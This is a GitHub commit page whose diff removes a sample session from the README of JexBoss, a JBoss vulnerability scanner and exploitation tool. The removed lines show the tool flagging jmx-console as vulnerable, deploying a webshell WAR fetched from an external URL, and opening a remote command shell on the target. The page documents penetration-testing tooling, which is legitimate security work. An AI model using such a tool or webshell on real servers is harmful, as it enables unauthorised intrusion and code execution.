Skip to content

Commit 642e945

Browse files
committed
Update README.md
1 parent 324117e commit 642e945

File tree

1 file changed

+0
-69
lines changed

1 file changed

+0
-69
lines changed

README.md

Lines changed: 0 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -10,72 +10,3 @@ python jexboss.py https://site.com
1010
python jexboss.py https://site.com:8443
1111

1212
python jexboss.py 192.168.1.10:8080
13-
--------------------------------------------
14-
15-
---- Example: -----------------------------
16-
17-
$ python jexboss.py https://site-teste.com
18-
19-
* --- JexBoss: Jboss verify and EXploitation Tool --- *
20-
| |
21-
| @author: João Filho Matos Figueiredo |
22-
| @contact: [email protected] |
23-
| |
24-
| @update: https://github.com/joaomatosf/jexboss |
25-
#______________________________________________________#
26-
27-
28-
** Checking Host: https://site-teste.com **
29-
30-
* Checking web-console: [ OK ]
31-
* Checking jmx-console: [ VULNERABLE ]
32-
* Checking JMXInvokerServlet: [ VULNERABLE ]
33-
34-
35-
* Do you want to try to run an automated exploitation via "jmx-console" ?
36-
This operation will provide a simple command shell to execute commands on the server..
37-
Continue only if you have permission!
38-
yes/NO ? yes
39-
40-
* Sending exploit code to https://site-teste.com. Wait...
41-
42-
43-
* Info: This exploit will force the server to deploy the webshell
44-
available on: http://www.joaomatosf.com/rnp/jbossass.war
45-
* Successfully deployed code! Starting command shell, wait...
46-
47-
* - - - - - - - - - - - - - - - - - - - - LOL - - - - - - - - - - - - - - - - - - - - *
48-
49-
* https://site-teste.com:
50-
51-
Linux fwgw 2.6.32-431.29.2.el6.x86_64 #1 SMP Tue Sep 9 21:36:05 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
52-
53-
CentOS release 6.5 (Final)
54-
55-
uid=509(jboss) gid=509(jboss) grupos=509(jboss) context=system_u:system_r:initrc_t:s0
56-
57-
[Type commands or "exit" to finish]
58-
Shell> pwd
59-
/usr/jboss-6.1.0.Final/bin
60-
61-
[Type commands or "exit" to finish]
62-
Shell> hostname
63-
fwgw
64-
65-
[Type commands or "exit" to finish]
66-
Shell> ls -all /tmp
67-
total 35436
68-
drwxrwxrwt. 4 root root 4096 Nov 24 16:36 .
69-
dr-xr-xr-x. 22 root root 4096 Nov 23 03:26 ..
70-
-rw-r--r--. 1 root root 34630995 Out 15 18:07 snortrules-snapshot-2962.tar.gz
71-
-rw-r--r--. 1 root root 32 Out 16 14:51 snortrules-snapshot-2962.tar.gz.md5
72-
-rw-------. 1 root root 0 Set 20 16:45 yum.log
73-
-rw-------. 1 root root 2743 Set 20 17:18 yum_save_tx-2014-09-20-17-18nQiKVo.yumtx
74-
-rw-------. 1 root root 1014 Out 6 00:33 yum_save_tx-2014-10-06-00-33vig5iT.yumtx
75-
-rw-------. 1 root root 543 Out 6 02:14 yum_save_tx-2014-10-06-02-143CcA5k.yumtx
76-
-rw-------. 1 root root 18568 Out 14 03:04 yum_save_tx-2014-10-14-03-04Q9ywQt.yumtx
77-
-rw-------. 1 root root 315 Out 15 16:00 yum_save_tx-2014-10-15-16-004hKzCF.yumtx
78-
79-
[Type commands or "exit" to finish]
80-
Shell>
81-

0 commit comments

Comments
 (0)